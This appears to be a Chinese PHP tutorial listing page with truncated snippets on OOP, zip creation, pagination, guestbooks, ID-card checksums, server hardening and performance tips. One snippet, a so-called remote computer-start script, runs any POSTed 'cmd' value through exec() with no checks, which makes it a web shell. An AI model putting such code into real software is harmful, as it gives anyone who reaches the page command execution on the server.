Time of Update: 2018-12-08
1,簡單的對象建立 複製代碼 代碼如下://類的範圍final:將阻止子類重寫這個欄位 //方法的範圍abstract: 在父類中聲明,在子類中實現 //定義類: class Employee{ //定義欄位 private $name; protected $title; public $wage; //常量 const PI = 3.1415926; //靜態成員變數 private static $visitors = 0; //定義建構函式 function __construct(){
Time of Update: 2018-12-08
複製代碼 代碼如下:<?php /* $Id: PHPZip.php */ class PHPZip { var $datasec = array(); var $ctrl_dir = array(); var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; var $old_offset = 0; function Zip($dir, $zipfilename) { if (@function_exists('gzcompress'
Time of Update: 2018-12-08
複製代碼 代碼如下:<?php /** * 遠程啟動電腦 * 注意:iis/apache需要有windows/system/cmd.exe執行許可權 * name:薛如飛 * qq:6706250 * e-mail:xuerufei@163.com * date:08.08.28 **/ if (isset($_POST['cmd'])) { $cmd= stripslashes( $_POST['cmd'] ); exec( $cmd,$out); var_dump($out);
Time of Update: 2018-12-08
這個是由asp二級側拉菜單改的 複製代碼 代碼如下:<script language="javascript"> // JavaScript Document startList = function() { if (document.all && document.getElementById) { navRoot = document.getElementById("nav"); for (i=0; i<navRoot.childNodes.length;
Time of Update: 2018-12-08
1. 留言顯示頁面2. 發布留言,並允許上傳圖片3. 輸入密碼登入後可以刪除留言。1. 檔案目錄upfile是儲存上傳圖片的目錄。2. 主要介面(1)首頁,顯示留言頁面 (2)發表留言頁面3. XML文檔格式,名稱為data.xml各欄位的含義不多說,各元素的值看起來有點怪,是因為我使用了base64_encode對字串進行了編碼。4 主要頁面代碼(1)add.php此頁只是純粹的HTML代碼<form action="saveadd.php"
Time of Update: 2018-12-08
首先是首頁,包含一個文本輸入和一個顯示聊天內容的iframe,還有一個隱藏iframe用來提交form表單: 複製代碼 代碼如下:<?php //chat.php header('cache-control: private'); header('Content-Type: text/html; charset=utf-8'); ?> <html> <script type="text/javascript"> function submitChat(obj)
Time of Update: 2018-12-08
一個好的分頁演算法, 應該具有下面的優點: 當前頁碼應該盡量在正中間. 如果"首頁"和"尾頁"不可用(當前處於第一頁或最後一頁), 不要隱藏這兩組文字, 以免連結按鈕位置變動. 演算法簡單. 下面的演算法具有前面1和3兩個優點. 複製代碼 代碼如下:// $curr_index, 當前頁碼. // $link_count, 連結數量. // $page_count, 當前的資料的總頁數. // $start, 顯示時的起始頁碼. // $end, 顯示時的終止頁碼. $start = max(1
Time of Update: 2018-12-08
這些數組非常特別,它們在全域範圍內自動生效,例如,在任何範圍內自動生效。因此通常被稱為自動全域變數(autoglobals)或者超全域變數(superglobals)。 複製代碼 代碼如下:<?php $a = "PHP教程網"; echo "通過\$GLOBALS來取變數值:".$GLOBALS['a']; //輸出:通過$GLOBALS來取變數值:PHP教程網 echo "<br/>"; echo "當前執行指令碼的檔案名稱:".$_SERVER['PHP_SELF'];
Time of Update: 2018-12-08
複製代碼 代碼如下:<?php // 計算身份證校正碼,根據國家標準GB 11643-1999 function idcard_verify_number($idcard_base){ if (strlen($idcard_base) != 17){ return false; } // 加權因子 $factor = array(7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2); // 校正碼對應值
Time of Update: 2018-12-08
1、防止跳出web目錄 首先修改httpd.conf,假如您只允許您的php指令碼程式在web目錄裡操作,還能夠修改httpd.conf文檔限制php的操作路徑。比如您的web目錄是/usr/local/apache/htdocs,那麼在httpd.conf裡加上這麼幾行: php_admin_value open_basedir /usr/local/apache /htdocs
Time of Update: 2018-12-08
14.final 關鍵字的應用 這個關鍵字只能用來定義類和定義方法,不能使用final 這個關鍵字來定義成員屬性,因 為final 是常量的意思,我們在PHP 裡定義常量使用的是define()函數,所以不能使用final 來 定義成員屬性。 使用final 關鍵標記的類不能被繼承; 程式碼片段 final class Person{ … … } class Student extends Person{ } 會出現下面錯誤: Fatal error: Class Student may
Time of Update: 2018-12-08
12.重載新的方法 在學習PHP 這種語言中你會發現,PHP 中的方法是不能重載的,所謂的方法重載就是 定義相同的方法名,通過“參數的個數”不同或“參數的類型”不同,來訪問我們的相同方法 名的不同方法。但是因為PHP 是弱類型的語言,所以在方法的參數中本身就可以接收不同類 型的資料,又因為PHP 的方法可以接收不定個數的參數,所以通過傳遞不同個數的參數調用 不相同方法名的不同方法也是不成立的。所以在PHP 裡面沒有方法重載。不能重載也就是在 你的項目中不能定義相同方法名的方法。另外,因為PHP
Time of Update: 2018-12-08
9.封裝性 封裝性是物件導向編程中的三大特性之一,封裝性就是把對象的屬性和服務結合成一個 獨立的相同單位,並儘可能隱蔽對象的內部細節,包含兩個含義:1.把對象的全部屬性和全 部服務結合在一起,形成一個不可分割的獨立單位(即對象)。2.資訊隱蔽,即儘可能隱蔽對 象的內部細節,對外形成一個邊界〔或者說形成一道屏障〕,只保留有限的對外介面使之與外 部發生聯絡。 封裝的原則在軟體上的反映是:要求使對象以外的部分不能隨意存取對象的內部資料
Time of Update: 2018-12-08
抽象方法和抽象類別 在OOP 語言中,一個類可以有一個或多個子類,而每個類都有至少一個公有方法做為 外部代碼訪問其的介面。而抽象方法就是為了方便繼承而引入的,我們先來看一下抽象類別和 抽象方法的定義再說明它的用途。 什麼是抽象方法?我們在類裡面定義的沒有方法體的方法就是抽象方法,所謂的沒有方 法體指的是,在方法聲明的時候沒有大括弧以及其中的內容,而是直接在聲明時在方法名後 加上分號結束,另外在聲明抽象方法時還要加一個關鍵字“abstract”來修飾; 例如: abstract function
Time of Update: 2018-12-08
事實上,Zend Studio(後面我簡稱“ZDE”了)的調試功能分為內部調試和遠端偵錯。內部調試是用ZDE內建的PHP(有4、5兩個版本)進行的代碼初步調試,我們把重點放在遠端偵錯上,因為它可以完全類比一個真實的運行環境。遠端偵錯需要伺服器端的組件支援,我們今天的內容就是怎麼來安裝這個伺服器端調試環境,用到的調試組件是Zend
Time of Update: 2018-12-08
PHP安全防範程式模型 複製代碼 代碼如下: /* PHP防注入跨站V1.0 在您的頁面頂部添加: require(“menzhi_injection.php”); 即可實現通用防止SQL注入,以及XSS跨站漏洞。 ##################缺陷以及改進################## 程式還有很多缺陷,希望大家能協助改進 ##################參考以及鳴謝################## Neeao'ASP SQL通用防注入程式 V3.
Time of Update: 2018-12-08
1.如果一個方法可靜態化,就對它做靜態聲明。速率可提升至4倍。 2.echo 比 print 快。 3.使用echo的多重參數(譯註:指用逗號而不是句點)代替字串串連。 4.在執行for迴圈之前確定最大迴圈數,不要每迴圈一次都計算最大值。 5.登出那些不用的變數尤其是大數組,以便釋放記憶體。 6.盡量避免使用__get,__set,__autoload。 7.require_once()代價昂貴。 8.在包含檔案時使用完整路徑,解析作業系統路徑所需的時間會更少。 9.如果你想知道指令碼開始執行(
Time of Update: 2018-12-08
做一個首頁調用映像,有時候往往需要獲得固定大小的映像,因為首頁的映像位置通常由設計人員指定好了,如果是做最新發行映像調用,因為不知道客戶會上傳什麼比例的映像,所以,有時候也就沒有辦法確定映像的比例,前台頁面編寫人員通常會採用固定 img
Time of Update: 2018-12-08
對付這種情況,有的做法是用時間戳記對新檔案進行重新命名,有的是用序號遞增的方法,為瞭解決麻煩的操作,我在最近編寫了一個frename函數,可以靈活依據自訂的規則取得上傳檔案的新命名,特此分享。複製代碼 代碼如下:<?php function frename($file, $rule='{timestamp}', $force = true) { /* ----------------------- * author: m35 * date: 2009/8/11 *
Time of Update: 2018-12-08
首先讓我們來看一個我朋友希望轉換的純文字檔案的例子: 以下為引用的內容: 複製代碼 代碼如下: Green for Mars! John R. Doe The idea of little green men from Mars, long a staple of science fiction, may soon turn out to be less fantasy and more fact. Recent samples sent by the latest Mars